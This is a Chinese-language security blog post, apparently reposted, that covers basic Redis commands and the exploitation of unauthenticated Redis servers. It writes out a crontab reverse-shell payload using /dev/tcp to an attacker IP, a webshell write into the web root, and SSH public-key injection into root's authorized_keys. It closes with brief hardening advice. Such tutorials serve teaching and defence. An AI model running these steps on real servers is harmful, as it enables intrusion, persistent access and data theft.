redis基本用法以及常见攻击方式

admin 2024年5月8日14:17:13评论4 views字数 3472阅读11分34秒阅读模式

前言

最近在工作中要用到redis,发现对其使用方式不是太了解,就想着总结一下,就有了这篇文章,也是做个记录,方便后续看。主要介绍一下redis的一些常用的用法以及redis存在未授权访问时如何进行实际利用。

Redis简介

REmote DIctionary Server(Redis)  是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。

 Redis 与其他它key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。

  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。

  • Redis支持数据的备份,即master-slave模式的数据备份。

 Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

redis基本操作

客户端操作 

1.直接连接redis(默认ip:127.0.0.1,端口:6379):./redis-cli2.指定IP和端口号连接redis:./redis-cli -h 127.0.0.1 -p 6379    -h redis主机IP(可以指定任意redis服务器)    -p 端口号(不同的端口号表示不同的redis应用)

基本操作命令

1、沟通命令命令行输入:ping,返回PONG,表示服务端运行正常2、查看当前数据库中key的数目:dbsize作用:返回当前数据库的 key 的数量,默认访问第0个库3、Redis默认使用16个 库可以在conf配置文件中修改:databases的值4、切换库命令:select执行:select index5、删除当前库的数据:flushdb删除当前库中的所有数据6、redis自带的客户端退出当前redis连接:exit或quit客户端退出连接,服务端继续运行7.redis登录:auth 密码执行:auth 123456788.info:显示数据库的基本信息,包括数据库的数量

redis的key的操作命令

keys:查询自己需要的key语法:keys pattern作用:查找所有符合模式pattern的key,pattern可以使用通配符通配符:*:表示0至多个字符,例如:keys * 查询所有的key?:表示单个字符,例如:wo?d,配置word,wold注意:Redis是单线程接收命令exists:查询key是否存在语法:exists key [key...]作用:判断key 是否存在expire:设置key的存活时间语法:expire key seconds作用:设置key的生存时间,超过时间,key自动删除。单位是秒返回值:设置成功返回数字1,其他情况是0ttl:查询key的剩余存活时间语法:ttl key作用:以秒为单位,返回 key的 剩余生存时间(ttl:time to live)返回值:-1:没有设置key的生存时间,key永不过期-2:key不存在数字:key的生存时间,秒为单位type语法:type key作用:查看key所存储值的数据类型返回值:字符串表示的数据类型none(key 不存在)string(字符串)list(列表)set(集合)zset(有序集)hash(哈希表)del语法:del key[key...]作用:删除存在的key,不存在的key忽略返回值:数字,删除的key的数量

未授权利用/验证

验证

1.Nmap扫描查看端口开放情况

默认redis使用的6379端口,使用nmap查看端口情况

nmap -A -p 6379 -script redis-info 192.168.242.134

redis基本用法以及常见攻击方式

2.Redis未授权访问验证、获取敏感信息

  Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下,默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

这里我使用另一台安装了redis的centos远程连接测试

>>>./redis-cli   -h   192.168.242.134

redis基本用法以及常见攻击方式

漏洞利用

该漏洞可以获取敏感信息以及获取反弹shell,下面来看一下具体的方式

1)查看敏感信息

redis 192.168.242.134:6379> info

redis基本用法以及常见攻击方式

查看key和对应的值

>>>keys  *

redis基本用法以及常见攻击方式

利用crontab反弹shell

>>直接向靶机的Crontab写入任务计划,反弹shell回来

redis 192.168.242.134:6379> set x "n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1n"redis 192.168.242.134:6379> config set dir /var/spool/cron/redis 192.168.242.134:6379> config set dbfilename rootredis 192.168.242.134:6379> save

redis基本用法以及常见攻击方式

>>然后在攻击机(192.168.242.131)上启动 nc 监听 888端口,等待反弹shell。这过程需要一些时间。

[root@localhost ~]# nc -lvnp 888

redis基本用法以及常见攻击方式

写入webshell

当自己的redis权限不高时,可以向web里写入webshell,但需要对方有web服务且有写入权限。假设靶机里面存在WEB服务并且目录在 /var/www/

redis 192.168.242.134:6379>config set dir /var/www/aredis 192.168.242.134:6379>config set xxx "nnnnnn"redis 192.168.242.134:6379>config set dbfilename webshell.phpredis 192.168.242.134:6379>save

写入之后访问目录看是否存在,如果已经写入,可以使用菜刀连入数据库了。

写ssh-keygen公钥然后使用私钥登陆

>>利用条件:(1)redis对外开放,且是未授权访问状态

            (2)redis服务ssh对外开放,可以通过key登入

>>具体利用步骤:

1) 准备好自己的公钥,写入本地文件text.txt。

[root@localhost src]#ssh-keygen -t rsa    # 创建秘钥[root@localhost src]#(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > test.txt

2) 通过redis将该文件写入内存

[root@localhost src]# ./redis-cli -h 192.168.242.134 flushall[root@localhost src]# cat test.txt | redis-cli -h 192.168.242.134  -x  set  crackit    #链接redis 并将秘钥上传

3) 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下

[root@localhost src]# redis-cli -h 192.168.242.134192.168.242.134:6379> config set dir /root/.ssh/# 切到ssh目录去192.168.242.134:6379> config get dir192.168.242.134:6379> config set dbfilename "authorized_keys"# 保存到 authorized_keys 文件里192.168.242.134:6379> save ssh -i id_rsa root@192.168.242.134# 保存并登陆

漏洞防御方式

到redis安装目录下,配置redis.conf文件:

1、默认只对本地开放

bind 127.0.0.1

2、添加登陆密码

>>修改 redis.conf 文件,添加

requirepass  mypasswd

3、在需要对外开放的时候修改默认端口(端口不重复就可以)

port 2344

4、以低权限运行 Redis 服务(重启redis才能生效)

>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放

原文始发于微信公众号(信安路漫漫):redis基本用法以及常见攻击方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月8日14:17:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis基本用法以及常见攻击方式https://cn-sec.com/archives/2718385.html

发表评论

匿名网友 填写信息